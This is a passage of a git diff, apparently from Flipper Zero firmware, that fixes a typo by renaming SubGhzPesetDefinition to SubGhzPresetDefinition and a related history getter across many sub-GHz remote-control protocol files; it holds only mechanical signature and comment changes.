lib/subghz/protocols/princeton.c | 2 +- lib/subghz/protocols/princeton.h | 4 ++-- lib/subghz/protocols/raw.c | 2 +- lib/subghz/protocols/raw.h | 4 ++-- lib/subghz/protocols/scher_khan.c | 2 +- lib/subghz/protocols/scher_khan.h | 4 ++-- lib/subghz/protocols/secplus_v1.c | 2 +- lib/subghz/protocols/secplus_v1.h | 4 ++-- lib/subghz/protocols/secplus_v2.c | 4 ++-- lib/subghz/protocols/secplus_v2.h | 8 ++++---- lib/subghz/protocols/somfy_keytis.c | 2 +- lib/subghz/protocols/somfy_keytis.h | 4 ++-- lib/subghz/protocols/somfy_telis.c | 2 +- lib/subghz/protocols/somfy_telis.h | 4 ++-- lib/subghz/protocols/star_line.c | 4 ++-- lib/subghz/protocols/star_line.h | 8 ++++---- lib/subghz/types.h | 2 +- 63 files changed, 114 insertions(+), 114 deletions(-) diff --git a/applications/subghz/helpers/subghz_types.h b/applications/subghz/helpers/subghz_types.h index 5223f5d5f..55ed40f84 100644 --- a/applications/subghz/helpers/subghz_types.h +++ b/applications/subghz/helpers/subghz_types.h @@ -73,11 +73,11 @@ typedef enum { SubGhzViewIdTestPacket, } SubGhzViewId; -struct SubGhzPesetDefinition { +struct SubGhzPresetDefinition { string_t name; uint32_t frequency; uint8_t* data; size_t data_size; }; -typedef struct SubGhzPesetDefinition SubGhzPesetDefinition; +typedef struct SubGhzPresetDefinition SubGhzPresetDefinition; diff --git a/applications/subghz/scenes/subghz_scene_receiver_info.c b/applications/subghz/scenes/subghz_scene_receiver_info.c index 58183b323..0e973870c 100644 --- a/applications/subghz/scenes/subghz_scene_receiver_info.c +++ b/applications/subghz/scenes/subghz_scene_receiver_info.c @@ -30,8 +30,8 @@ static bool subghz_scene_receiver_info_update_parser(void* context) { subghz->txrx->decoder_result, subghz_history_get_raw_data(subghz->txrx->history, subghz->txrx->idx_menu_chosen)); - SubGhzPesetDefinition* preset = - subghz_history_get_presset(subghz->txrx->history, subghz->txrx->idx_menu_chosen); + SubGhzPresetDefinition* preset = + subghz_history_get_preset_def(subghz->txrx->history, subghz->txrx->idx_menu_chosen); subghz_preset_init( subghz, string_get_cstr(preset->name), diff --git a/applications/subghz/subghz.c b/applications/subghz/subghz.c index ea6b80c53..0257832c2 100644 --- a/applications/subghz/subghz.c +++ b/applications/subghz/subghz.c @@ -204,7 +204,7 @@ SubGhz* subghz_alloc() { //init Worker & Protocol & History & KeyBoard subghz->lock = SubGhzLockOff; subghz->txrx = malloc(sizeof(SubGhzTxRx)); - subghz->txrx->preset = malloc(sizeof(SubGhzPesetDefinition)); + subghz->txrx->preset = malloc(sizeof(SubGhzPresetDefinition)); string_init(subghz->txrx->preset->name); subghz_preset_init( subghz, "AM650", subghz_setting_get_default_frequency(subghz->setting), NULL, 0); diff --git a/applications/subghz/subghz_history.c b/applications/subghz/subghz_history.c index af4f116a9..180a91f29 100644 --- a/applications/subghz/subghz_history.c +++ b/applications/subghz/subghz_history.c @@ -12,7 +12,7 @@ typedef struct { string_t item_str; FlipperFormat* flipper_string; uint8_t type; - SubGhzPesetDefinition* preset; + SubGhzPresetDefinition* preset; } SubGhzHistoryItem; ARRAY_DEF(SubGhzHistoryItemArray, SubGhzHistoryItem, M_POD_OPLIST) @@ -61,7 +61,7 @@ uint32_t subghz_history_get_frequency(SubGhzHistory* instance, uint16_t idx) { return item->preset->frequency; } -SubGhzPesetDefinition* subghz_history_get_presset(SubGhzHistory* instance, uint16_t idx) { +SubGhzPresetDefinition* subghz_history_get_preset_def(SubGhzHistory* instance, uint16_t idx) { furi_assert(instance); SubGhzHistoryItem* item = SubGhzHistoryItemArray_get(instance->history->data, idx); return item->preset; @@ -139,7 +139,7 @@ void subghz_history_get_text_item_menu(SubGhzHistory* instance, string_t output, bool subghz_history_add_to_history( SubGhzHistory* instance, void* context, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(instance); furi_assert(context); @@ -159,7 +159,7 @@ bool subghz_history_add_to_history( string_t text; string_init(text); SubGhzHistoryItem* item = SubGhzHistoryItemArray_push_raw(instance->history->data); - item->preset = malloc(sizeof(SubGhzPesetDefinition)); + item->preset = malloc(sizeof(SubGhzPresetDefinition)); item->type = decoder_base->protocol->type; item->preset->frequency = preset->frequency; string_init(item->preset->name); diff --git a/applications/subghz/subghz_history.h b/applications/subghz/subghz_history.h index 0af56a40e..adbcfc18a 100644 --- a/applications/subghz/subghz_history.h +++ b/applications/subghz/subghz_history.h @@ -35,7 +35,7 @@ void subghz_history_reset(SubGhzHistory* instance); */ uint32_t subghz_history_get_frequency(SubGhzHistory* instance, uint16_t idx); -SubGhzPesetDefinition* subghz_history_get_presset(SubGhzHistory* instance, uint16_t idx); +SubGhzPresetDefinition* subghz_history_get_preset_def(SubGhzHistory* instance, uint16_t idx); /** Get preset to history[idx] * @@ -88,13 +88,13 @@ bool subghz_history_get_text_space_left(SubGhzHistory* instance, string_t output * * @param instance - SubGhzHistory instance * @param context - SubGhzProtocolCommon context - * @param preset - SubGhzPesetDefinition preset + * @param preset - SubGhzPresetDefinition preset * @return bool; */ bool subghz_history_add_to_history( SubGhzHistory* instance, void* context, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** Get SubGhzProtocolCommonLoad to load into the protocol decoder bin data * diff --git a/applications/subghz/subghz_i.h b/applications/subghz/subghz_i.h index 67ed77427..6a38243e5 100644 --- a/applications/subghz/subghz_i.h +++ b/applications/subghz/subghz_i.h @@ -57,7 +57,7 @@ struct SubGhzTxRx { FlipperFormat* fff_data; SecureData* secure_data; - SubGhzPesetDefinition* preset; + SubGhzPresetDefinition* preset; SubGhzHistory* history; uint16_t idx_menu_chosen; SubGhzTxRxState txrx_state; diff --git a/lib/subghz/blocks/generic.c b/lib/subghz/blocks/generic.c index 187c30e6a..353ff18bf 100644 --- a/lib/subghz/blocks/generic.c +++ b/lib/subghz/blocks/generic.c @@ -23,7 +23,7 @@ void subghz_block_generic_get_preset_name(const char* preset_name, string_t pres bool subghz_block_generic_serialize( SubGhzBlockGeneric* instance, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(instance); bool res = false; string_t temp_str; diff --git a/lib/subghz/blocks/generic.h b/lib/subghz/blocks/generic.h index f8c6cda10..5bc33c030 100644 --- a/lib/subghz/blocks/generic.h +++ b/lib/subghz/blocks/generic.h @@ -34,13 +34,13 @@ void subghz_block_generic_get_preset_name(const char* preset_name, string_t pres * Serialize data SubGhzBlockGeneric. * @param instance Pointer to a SubGhzBlockGeneric instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_block_generic_serialize( SubGhzBlockGeneric* instance, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzBlockGeneric. diff --git a/lib/subghz/protocols/base.c b/lib/subghz/protocols/base.c index 32c64cce2..06542f5eb 100644 --- a/lib/subghz/protocols/base.c +++ b/lib/subghz/protocols/base.c @@ -26,7 +26,7 @@ bool subghz_protocol_decoder_base_get_string( bool subghz_protocol_decoder_base_serialize( SubGhzProtocolDecoderBase* decoder_base, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { bool status = false; if(decoder_base->protocol && decoder_base->protocol->decoder && diff --git a/lib/subghz/protocols/base.h b/lib/subghz/protocols/base.h index ad237bbe5..a1a7478d9 100644 --- a/lib/subghz/protocols/base.h +++ b/lib/subghz/protocols/base.h @@ -43,13 +43,13 @@ bool subghz_protocol_decoder_base_get_string( * Serialize data SubGhzProtocolDecoderBase. * @param decoder_base Pointer to a SubGhzProtocolDecoderBase instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_base_serialize( SubGhzProtocolDecoderBase* decoder_base, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderBase. diff --git a/lib/subghz/protocols/came.c b/lib/subghz/protocols/came.c index 1d2045ca0..145320aea 100644 --- a/lib/subghz/protocols/came.c +++ b/lib/subghz/protocols/came.c @@ -284,7 +284,7 @@ uint8_t subghz_protocol_decoder_came_get_hash_data(void* context) { bool subghz_protocol_decoder_came_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderCame* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/came.h b/lib/subghz/protocols/came.h index abd3044b8..c2648c057 100644 --- a/lib/subghz/protocols/came.h +++ b/lib/subghz/protocols/came.h @@ -83,13 +83,13 @@ uint8_t subghz_protocol_decoder_came_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderCame. * @param context Pointer to a SubGhzProtocolDecoderCame instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_came_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderCame. diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index ff5482a13..2ebc67054 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -544,7 +544,7 @@ uint8_t subghz_protocol_decoder_came_atomo_get_hash_data(void* context) { bool subghz_protocol_decoder_came_atomo_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderCameAtomo* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/came_atomo.h b/lib/subghz/protocols/came_atomo.h index ce8ac513b..a9a4ec668 100644 --- a/lib/subghz/protocols/came_atomo.h +++ b/lib/subghz/protocols/came_atomo.h @@ -86,13 +86,13 @@ uint8_t subghz_protocol_decoder_came_atomo_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderCameAtomo. * @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_came_atomo_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderCameAtomo. diff --git a/lib/subghz/protocols/came_twee.c b/lib/subghz/protocols/came_twee.c index 7310d6f9e..89367a1e4 100644 --- a/lib/subghz/protocols/came_twee.c +++ b/lib/subghz/protocols/came_twee.c @@ -418,7 +418,7 @@ uint8_t subghz_protocol_decoder_came_twee_get_hash_data(void* context) { bool subghz_protocol_decoder_came_twee_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderCameTwee* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/came_twee.h b/lib/subghz/protocols/came_twee.h index 66a894238..42e6ddaf3 100644 --- a/lib/subghz/protocols/came_twee.h +++ b/lib/subghz/protocols/came_twee.h @@ -83,13 +83,13 @@ uint8_t subghz_protocol_decoder_came_twee_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderCameTwee. * @param context Pointer to a SubGhzProtocolDecoderCameTwee instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_came_twee_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderCameTwee. diff --git a/lib/subghz/protocols/chamberlain_code.c b/lib/subghz/protocols/chamberlain_code.c index 409584217..08b3e12c2 100644 --- a/lib/subghz/protocols/chamberlain_code.c +++ b/lib/subghz/protocols/chamberlain_code.c @@ -423,7 +423,7 @@ uint8_t subghz_protocol_decoder_chamb_code_get_hash_data(void* context) { bool subghz_protocol_decoder_chamb_code_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderChamb_Code* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/chamberlain_code.h b/lib/subghz/protocols/chamberlain_code.h index e25e54c23..1ac2f9f96 100644 --- a/lib/subghz/protocols/chamberlain_code.h +++ b/lib/subghz/protocols/chamberlain_code.h @@ -83,13 +83,13 @@ uint8_t subghz_protocol_decoder_chamb_code_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderChamb_Code. * @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_chamb_code_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderChamb_Code. diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index ef5442adc..eef574303 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -9,7 +9,7 @@ #include "../blocks/generic.h" #include "../blocks/math.h" -#define TAG "SubGhzProtocolFaacSHL" +#define TAG "SubGhzProtocolFaacSLH" static const SubGhzBlockConst subghz_protocol_faac_slh_const = { .te_short = 255, @@ -158,7 +158,7 @@ bool subghz_protocol_faac_slh_create_data( uint32_t cnt, uint32_t seed, const char* manufacture_name, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); // roguemaster don't steal!!! SubGhzProtocolEncoderFaacSLH* instance = context; @@ -426,7 +426,7 @@ uint8_t subghz_protocol_decoder_faac_slh_get_hash_data(void* context) { bool subghz_protocol_decoder_faac_slh_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderFaacSLH* instance = context; diff --git a/lib/subghz/protocols/faac_slh.h b/lib/subghz/protocols/faac_slh.h index 1f289a845..87ad16b85 100644 --- a/lib/subghz/protocols/faac_slh.h +++ b/lib/subghz/protocols/faac_slh.h @@ -33,7 +33,7 @@ void subghz_protocol_encoder_faac_slh_free(void* context); * @param cnt Counter value, 16 bit * @param seed Seed value, 32 bit * @param manufacture_name Name of manufacturer's key - * @param preset Modulation, SubGhzPesetDefinition + * @param preset Modulation, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_faac_slh_create_data( @@ -44,7 +44,7 @@ bool subghz_protocol_faac_slh_create_data( uint32_t cnt, uint32_t seed, const char* manufacture_name, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize and generating an upload to send. @@ -105,13 +105,13 @@ uint8_t subghz_protocol_decoder_faac_slh_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderFaacSLH. * @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_faac_slh_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderFaacSLH. diff --git a/lib/subghz/protocols/gate_tx.c b/lib/subghz/protocols/gate_tx.c index a172eb3ca..7a295c091 100644 --- a/lib/subghz/protocols/gate_tx.c +++ b/lib/subghz/protocols/gate_tx.c @@ -289,7 +289,7 @@ uint8_t subghz_protocol_decoder_gate_tx_get_hash_data(void* context) { bool subghz_protocol_decoder_gate_tx_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderGateTx* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/gate_tx.h b/lib/subghz/protocols/gate_tx.h index f296a27e7..171576816 100644 --- a/lib/subghz/protocols/gate_tx.h +++ b/lib/subghz/protocols/gate_tx.h @@ -83,13 +83,13 @@ uint8_t subghz_protocol_decoder_gate_tx_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderGateTx. * @param context Pointer to a SubGhzProtocolDecoderGateTx instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_gate_tx_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderGateTx. diff --git a/lib/subghz/protocols/holtek.c b/lib/subghz/protocols/holtek.c index c24bdf6ff..55b991f62 100644 --- a/lib/subghz/protocols/holtek.c +++ b/lib/subghz/protocols/holtek.c @@ -322,7 +322,7 @@ uint8_t subghz_protocol_decoder_holtek_get_hash_data(void* context) { bool subghz_protocol_decoder_holtek_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderHoltek* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/holtek.h b/lib/subghz/protocols/holtek.h index cc962dcc9..df7dd6448 100644 --- a/lib/subghz/protocols/holtek.h +++ b/lib/subghz/protocols/holtek.h @@ -83,13 +83,13 @@ uint8_t subghz_protocol_decoder_holtek_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderHoltek. * @param context Pointer to a SubGhzProtocolDecoderHoltek instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_holtek_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderHoltek. diff --git a/lib/subghz/protocols/hormann.c b/lib/subghz/protocols/hormann.c index 696aaf619..f6f684cc1 100644 --- a/lib/subghz/protocols/hormann.c +++ b/lib/subghz/protocols/hormann.c @@ -310,7 +310,7 @@ uint8_t subghz_protocol_decoder_hormann_get_hash_data(void* context) { bool subghz_protocol_decoder_hormann_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderHormann* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/hormann.h b/lib/subghz/protocols/hormann.h index 04634ff0c..45d6eb223 100644 --- a/lib/subghz/protocols/hormann.h +++ b/lib/subghz/protocols/hormann.h @@ -83,13 +83,13 @@ uint8_t subghz_protocol_decoder_hormann_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderHormann. * @param context Pointer to a SubGhzProtocolDecoderHormann instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_hormann_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderHormann. diff --git a/lib/subghz/protocols/ido.c b/lib/subghz/protocols/ido.c index 2f5a9195e..e6de577d1 100644 --- a/lib/subghz/protocols/ido.c +++ b/lib/subghz/protocols/ido.c @@ -182,7 +182,7 @@ uint8_t subghz_protocol_decoder_ido_get_hash_data(void* context) { bool subghz_protocol_decoder_ido_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderIDo* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/ido.h b/lib/subghz/protocols/ido.h index d2328218f..4fe4e740a 100644 --- a/lib/subghz/protocols/ido.h +++ b/lib/subghz/protocols/ido.h @@ -49,13 +49,13 @@ uint8_t subghz_protocol_decoder_ido_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderIDo. * @param context Pointer to a SubGhzProtocolDecoderIDo instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_ido_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderIDo. diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 4b3efc3b5..337f48b43 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -219,7 +219,7 @@ bool subghz_protocol_keeloq_create_data( uint8_t btn, uint16_t cnt, const char* manufacture_name, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolEncoderKeeloq* instance = context; instance->generic.serial = serial; @@ -241,7 +241,7 @@ bool subghz_protocol_keeloq_bft_create_data( uint16_t cnt, uint32_t seed, const char* manufacture_name, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolEncoderKeeloq* instance = context; instance->generic.serial = serial; @@ -874,7 +874,7 @@ uint8_t subghz_protocol_decoder_keeloq_get_hash_data(void* context) { bool subghz_protocol_decoder_keeloq_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderKeeloq* instance = context; diff --git a/lib/subghz/protocols/keeloq.h b/lib/subghz/protocols/keeloq.h index 48bcb8df8..c4d5a665f 100644 --- a/lib/subghz/protocols/keeloq.h +++ b/lib/subghz/protocols/keeloq.h @@ -36,7 +36,7 @@ void subghz_protocol_encoder_keeloq_free(void* context); * @param btn Button number, 4 bit * @param cnt Counter value, 16 bit * @param manufacture_name Name of manufacturer's key - * @param preset Modulation, SubGhzPesetDefinition + * @param preset Modulation, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_keeloq_create_data( @@ -46,7 +46,7 @@ bool subghz_protocol_keeloq_create_data( uint8_t btn, uint16_t cnt, const char* manufacture_name, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Key generation for BFT. @@ -57,7 +57,7 @@ bool subghz_protocol_keeloq_create_data( * @param cnt Counter value, 16 bit * @param seed Seed value, 32 bit * @param manufacture_name Name of manufacturer's key - * @param preset Modulation, SubGhzPesetDefinition + * @param preset Modulation, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_keeloq_bft_create_data( @@ -68,7 +68,7 @@ bool subghz_protocol_keeloq_bft_create_data( uint16_t cnt, uint32_t seed, const char* manufacture_name, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize and generating an upload to send. @@ -129,13 +129,13 @@ uint8_t subghz_protocol_decoder_keeloq_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderKeeloq. * @param context Pointer to a SubGhzProtocolDecoderKeeloq instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_keeloq_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderKeeloq. diff --git a/lib/subghz/protocols/kia.c b/lib/subghz/protocols/kia.c index 069eb8f1d..9a3b8f39b 100644 --- a/lib/subghz/protocols/kia.c +++ b/lib/subghz/protocols/kia.c @@ -233,7 +233,7 @@ uint8_t subghz_protocol_decoder_kia_get_hash_data(void* context) { bool subghz_protocol_decoder_kia_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderKIA* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/kia.h b/lib/subghz/protocols/kia.h index a32940463..743ab7cbd 100644 --- a/lib/subghz/protocols/kia.h +++ b/lib/subghz/protocols/kia.h @@ -49,13 +49,13 @@ uint8_t subghz_protocol_decoder_kia_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderKIA. * @param context Pointer to a SubGhzProtocolDecoderKIA instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_kia_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderKIA. diff --git a/lib/subghz/protocols/linear.c b/lib/subghz/protocols/linear.c index a8c9dad68..652bf0bf6 100644 --- a/lib/subghz/protocols/linear.c +++ b/lib/subghz/protocols/linear.c @@ -299,7 +299,7 @@ uint8_t subghz_protocol_decoder_linear_get_hash_data(void* context) { bool subghz_protocol_decoder_linear_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderLinear* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/linear.h b/lib/subghz/protocols/linear.h index 5060d4440..035b130c4 100644 --- a/lib/subghz/protocols/linear.h +++ b/lib/subghz/protocols/linear.h @@ -83,13 +83,13 @@ uint8_t subghz_protocol_decoder_linear_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderLinear. * @param context Pointer to a SubGhzProtocolDecoderLinear instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_linear_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderLinear. diff --git a/lib/subghz/protocols/megacode.c b/lib/subghz/protocols/megacode.c index 8a1f67b5a..542fd8b37 100644 --- a/lib/subghz/protocols/megacode.c +++ b/lib/subghz/protocols/megacode.c @@ -380,7 +380,7 @@ uint8_t subghz_protocol_decoder_megacode_get_hash_data(void* context) { bool subghz_protocol_decoder_megacode_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderMegaCode* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/megacode.h b/lib/subghz/protocols/megacode.h index f25011d7b..c8010665b 100644 --- a/lib/subghz/protocols/megacode.h +++ b/lib/subghz/protocols/megacode.h @@ -83,13 +83,13 @@ uint8_t subghz_protocol_decoder_megacode_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderMegaCode. * @param context Pointer to a SubGhzProtocolDecoderMegaCode instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_megacode_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderMegaCode. diff --git a/lib/subghz/protocols/nero_radio.c b/lib/subghz/protocols/nero_radio.c index 7dcb59759..50c79f609 100644 --- a/lib/subghz/protocols/nero_radio.c +++ b/lib/subghz/protocols/nero_radio.c @@ -342,7 +342,7 @@ uint8_t subghz_protocol_decoder_nero_radio_get_hash_data(void* context) { bool subghz_protocol_decoder_nero_radio_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderNeroRadio* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/nero_radio.h b/lib/subghz/protocols/nero_radio.h index f1c540d5b..f04dc2b3c 100644 --- a/lib/subghz/protocols/nero_radio.h +++ b/lib/subghz/protocols/nero_radio.h @@ -83,13 +83,13 @@ uint8_t subghz_protocol_decoder_nero_radio_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderNeroRadio. * @param context Pointer to a SubGhzProtocolDecoderNeroRadio instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool 